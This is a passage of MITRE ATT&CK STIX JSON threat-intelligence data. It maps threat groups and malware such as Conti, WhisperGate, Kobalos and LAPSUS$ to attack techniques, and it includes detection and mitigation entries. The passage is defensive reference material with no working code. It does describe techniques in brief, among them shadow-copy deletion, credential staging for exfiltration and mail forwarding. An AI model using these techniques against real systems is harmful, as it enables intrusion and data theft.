"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--76393f0c-a13c-48a8-ba7d-80502ae938a7", "type": "relationship", "created": "2017-05-31T21:33:27.037Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant APT1", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}], "modified": "2019-08-20T13:08:13.435Z", "description": "(Citation: Mandiant APT1)", "relationship_type": "uses", "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", "target_ref": "tool--a52edc76-328d-4596-85e7-d56ef5a9eb69", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--76428147-d359-4568-a1a2-7cc3da632da4", "type": "relationship", "created": "2019-06-21T17:24:21.655Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", "source_name": "ESET Turla PowerShell May 2019"}], "modified": "2019-07-14T21:04:45.844Z", "description": "(Citation: ESET Turla PowerShell May 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7643698c-2dc4-43ca-9d90-c656962dfecb", "type": "relationship", "created": "2020-10-21T17:01:35.492Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Metamorfo Apr 2018", "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html", "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."}], "modified": "2020-10-22T01:34:58.656Z", "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has used mshta.exe to execute a HTA payload.(Citation: FireEye Metamorfo Apr 2018) ", "relationship_type": "uses", "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7644ad2b-1ee7-43f4-9b06-9928f6f9eb1a", "type": "relationship", "created": "2020-07-17T15:48:51.571Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CME Github September 2018", "url": "https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference", "description": "byt3bl33d3r. (2018, September 8). SMB: Command Reference. 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Retrieved May 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[LAPSUS$](https://attack.mitre.org/groups/G1004) has set an Office 365 tenant level mail transport rule to send all mail in and out of the targeted organization to the newly created account.(Citation: MSTIC DEV-0537 Mar 2022)", "modified": "2022-06-10T17:26:05.234Z", "relationship_type": "uses", "source_ref": "intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7", "target_ref": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--764b5d56-83a1-4c8d-824a-2021c7fe8052", "type": "relationship", "created": "2017-05-31T21:33:27.064Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/", "description": "Falcone, R. and Miller-Osborn, J.. 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(2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. 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Retrieved May 26, 2020."}], "modified": "2020-05-26T19:43:49.669Z", "description": "[Aria-body](https://attack.mitre.org/software/S0456) has established persistence via the Startup folder or Run Registry key.(Citation: CheckPoint Naikon May 2020)", "relationship_type": "uses", "source_ref": "malware--3161d76a-e2b2-4b97-9906-24909b735386", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--767ce5fe-06f5-4efc-aa41-129fad867c65", "created": "2022-07-14T19:35:43.771Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "SentinelOne Aoqin Dragon June 2022", "url": "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/", "description": "Chen, Joey. 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(2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."}, {"description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", "source_name": "FireEye WannaCry 2017"}, {"description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. 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(2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}], "modified": "2020-06-01T14:41:54.891Z", "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to access the file system on a compromised host.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "source_ref": "malware--92b03a94-7147-4952-9d5a-b4d24da7487c", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--76d7d7fa-94a4-4fa6-9fd2-e9af9ab0f356", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "S2 Grupo TrickBot June 2017", "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"}, {"description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. 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Retrieved March 10, 2022.", "url": "https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family"}, {"source_name": "Microsoft WhisperGate January 2022", "description": "MSTIC. (2022, January 15). Destructive malware targeting Ukrainian organizations. Retrieved March 10, 2022.", "url": "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"}, {"source_name": "Medium S2W WhisperGate January 2022", "description": "S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. 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(2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."}, {"description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. 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OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt", "source_name": "Cybereason Oceanlotus May 2017"}, {"source_name": "Cybereason Cobalt Kitty 2017", "description": "Dahan, A. (2017). Operation Cobalt Kitty. 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Retrieved January 22, 2016."}], "x_mitre_deprecated": false, "revoked": false, "description": "[ELMER](https://attack.mitre.org/software/S0064) is capable of performing process listings.(Citation: FireEye EPS Awakens Part 2)", "modified": "2022-07-26T23:33:26.359Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--771f6508-5fc0-456e-b827-05365d3b8672", "type": "relationship", "created": "2022-03-30T14:26:51.866Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.866Z", "description": "Monitor for unexpected deletion of a file in order to manipulate external outcomes or hide activity ", "source_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", "target_ref": "attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--772089d3-b06e-4e5e-993b-1351f71484e7", "type": "relationship", "created": "2019-06-21T18:03:31.624Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Faou, M. and Dumont R.. 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Retrieved October 1, 2021."}], "modified": "2021-10-01T17:28:29.421Z", "description": "[Kerrdown](https://attack.mitre.org/software/S0585) has the ability to determine if the compromised host is running a 32 or 64 bit OS architecture.(Citation: Unit 42 KerrDown February 2019)", "relationship_type": "uses", "source_ref": "malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--772a4f4f-459d-411f-a8e9-2c453274f684", "type": "relationship", "created": "2020-05-12T21:44:40.918Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FOX-IT May 2016 Mofang", "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}], "modified": "2020-05-27T22:39:28.858Z", "description": "[ShimRatReporter](https://attack.mitre.org/software/S0445) spoofed itself as <code>AlphaZawgyl_font.exe</code>, a specialized Unicode font.(Citation: FOX-IT May 2016 Mofang)", "relationship_type": "uses", "source_ref": "tool--115f88dd-0618-4389-83cb-98d33ae81848", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7734ffaf-1cd2-40ca-8c0d-9cfd95e8d1ec", "created": "2022-05-31T21:51:37.775Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-19T16:36:00.150Z", "description": "Use application control where appropriate, especially regarding the execution of tools outside of the organization's security policies (such as rootkit removal tools) that have been abused to impair system defenses. Ensure that only approved security applications are used and running on enterprise systems.", "relationship_type": "mitigates", "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--773a86d4-07a9-4e10-9321-24f3da72ae00", "type": "relationship", "created": "2021-02-17T19:22:30.930Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CarbonBlack Conti July 2020", "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."}], "modified": "2021-04-13T19:18:37.191Z", "description": "[Conti](https://attack.mitre.org/software/S0575) can retrieve the ARP cache from the local system by using the <code>GetIpNetTable()</code> API call and check to ensure IP addresses it connects to are for local, non-Internet, systems.(Citation: CarbonBlack Conti July 2020) ", "relationship_type": "uses", "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--773ba80b-0dbc-4ed9-9fbb-bcfef08da01d", "created": "2022-04-13T21:24:48.548Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "McAfee Lazarus Nov 2020", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/", "description": "Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Torisma](https://attack.mitre.org/software/S0678) has encrypted its C2 communications using XOR and VEST-32.(Citation: McAfee Lazarus Nov 2020)", "modified": "2022-04-13T21:44:38.923Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--0715560d-4299-4e84-9e20-6e80ab57e4f2", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--773e62aa-8b0a-4ed2-9954-1886c789e926", "type": "relationship", "created": "2021-08-25T21:30:06.347Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Kobalos Jan 2021", "description": "M.Leveille, M., Sanmillan, I. (2021, January). A WILD KOBALOS APPEARS Tricksy Linux malware goes after HPCs. Retrieved August 24, 2021.", "url": "https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf"}], "modified": "2021-10-18T22:07:00.697Z", "description": "[Kobalos](https://attack.mitre.org/software/S0641) can write captured SSH connection credentials to a file under the <code>/var/run</code> directory with a <code>.pid</code> extension for exfiltration.(Citation: ESET Kobalos Jan 2021) ", "relationship_type": "uses", "source_ref": "malware--9abdda30-08e0-4ab1-9cf0-d447654c6de9", "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--773e99eb-0739-42d3-afaa-aff65e86329d", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Gazer Aug 2017", "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"}], "modified": "2019-07-14T21:04:45.636Z", "description": "(Citation: ESET Gazer Aug 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--773efcb6-760f-496f-92e9-2387d04d2c53", "type": "relationship", "created": "2021-08-03T17:16:17.166Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC Nobelium Toolset May 2021", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", "description": "MSTIC. (2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021."}], "modified": "2021-08-04T13:57:21.800Z", "description": "[BoomBox](https://attack.mitre.org/software/S0635) can enumerate the hostname, domain, and IP of a compromised host.(Citation: MSTIC Nobelium Toolset May 2021)", "relationship_type": "uses", "source_ref": "malware--c26f1c05-b861-4970-94dc-2f7f921a3074", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--773f172e-c087-451f-af0d-f3f173736015", "created": "2022-03-30T14:26:51.840Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Cloudy Logs 2023", "description": "Pany, D. & Hanley, C. (2023, May 3). Cloudy with a Chance of Bad Logs: Cloud Platform Log Configurations to Consider in Investigations. Retrieved October 16, 2023.", "url": "https://www.mandiant.com/resources/blog/cloud-bad-log-configurations"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-16T17:15:28.430Z", "description": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.(Citation: Mandiant Cloudy Logs 2023)", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--773fc200-e44d-4049-b972-043c1e3d9035", "created": "2023-08-07T16:04:27.626Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-12T14:30:20.656Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used WMIC and vssadmin to manually delete volume shadow copies. [Wizard Spider](https://attack.mitre.org/groups/G0102) has also used [Conti](https://attack.mitre.org/software/S0575) ransomware to delete volume shadow copies automatically with the use of vssadmin.(Citation: Mandiant FIN12 Oct 2021) ", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--77426812-954b-49dd-9db8-c3aa99113678", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", "source_name": "Symantec Elderwood Sept 2012"}], "modified": "2021-01-06T19:32:29.090Z", "description": "(Citation: Symantec Elderwood Sept 2012)", "relationship_type": "uses", "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", "target_ref": "malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7742d5c6-6987-4a87-92e9-c213880d911a", "type": "relationship", "created": "2021-06-03T19:09:07.312Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft ISAPICGIRestriction 2016", "url": "https://docs.microsoft.com/en-us/iis/configuration/system.webserver/security/isapicgirestriction/", "description": "Microsoft. (2016, September 26). ISAPI/CGI Restrictions <isapiCgiRestriction>. Retrieved June 3, 2021."}], "modified": "2021-10-17T15:06:24.431Z", "description": "Restrict unallowed ISAPI extensions and filters from running by specifying a list of ISAPI extensions and filters that can run on IIS.(Citation: Microsoft ISAPICGIRestriction 2016)", "relationship_type": "mitigates", "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", "target_ref": "attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--774302ff-3ab9-4328-a434-6188efe0928a", "type": "relationship", "created": "2020-05-18T21:01:51.374Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET LoudMiner June 2019", "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/", "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}], "modified": "2020-06-29T23:06:26.175Z", "description": "[LoudMiner](https://attack.mitre.org/software/S0451) harvested system resources to mine cryptocurrency, using XMRig to mine Monero.(Citation: ESET LoudMiner June 2019)\t", "relationship_type": "uses", "source_ref": "malware--f99f3dcc-683f-4936-8791-075ac5e58f10", "target_ref": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7744eff7-6f61-4e1d-a3be-069a417a9ff6", "created": "2022-03-30T14:26:51.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-28T15:00:07.079Z", "description": "Monitor for applications and processes related to remote admin software. Correlate activity with other suspicious behavior that may reduce false positives if this type of software is used by legitimate users and administrators. [Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote software to compromised systems. It may be possible to detect or prevent the installation of this type of software with host-based solutions.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7748c6c9-d7a5-44e9-81bf-97d038e6edb1", "created": "2023-03-26T18:19:02.757Z", "revoked": false, "external_references": [{"source_name": "Microsoft Deep Dive Solorigate January 2021", "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.", "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T18:19:02.757Z", "description": "During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used [AdFind](https://attack.mitre.org/software/S0552) to enumerate remote systems.(Citation: Microsoft Deep Dive Solorigate January 2021)", "relationship_type": "uses", "source_ref": "campaign--808d6b30-df4e-4341-8248-724da4bac650", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--774a6b5c-bbba-4094-bac3-0fa5e664bf2a", "created": "2022-03-10T20:25:15.307Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cisco Ukraine Wipers January 2022", "description": "Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022.", "url": "https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html"}, {"source_name": "Crowdstrike WhisperGate January 2022", "description": "Crowdstrike. (2022, January 19). Technical Analysis of the WhisperGate Malicious Bootloader. Retrieved March 10, 2022.", "url": "https://www.crowdstrike.com/blog/technical-analysis-of-whispergate-malware"}, {"source_name": "Medium S2W WhisperGate January 2022", "description": "S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 2022.", "url": "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-11-30T22:42:27.858Z", "description": "[WhisperGate](https://attack.mitre.org/software/S0689) can overwrite sectors of a victim host's hard drive at periodic offsets.(Citation: Crowdstrike WhisperGate January 2022)(Citation: Cisco Ukraine Wipers January 2022)(Citation: Medium S2W WhisperGate January 2022)", "relationship_type": "uses", "source_ref": "malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7", "target_ref": "attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--774c6d96-7fd4-44fb-97db-ddb65ce097ba", "type": "relationship", "created": "2022-03-30T14:26:51.866Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.866Z", "description": "Identify files with the <code>com.apple.ResourceFork</code> extended attribute and large data amounts stored in resource forks.", "source_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", "target_ref": "attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--774e95cc-df61-4772-a23e-61b78830f0e3", "type": "relationship", "created": "2022-03-30T14:26:51.857Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.857Z", "description": "Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.", "source_ref": 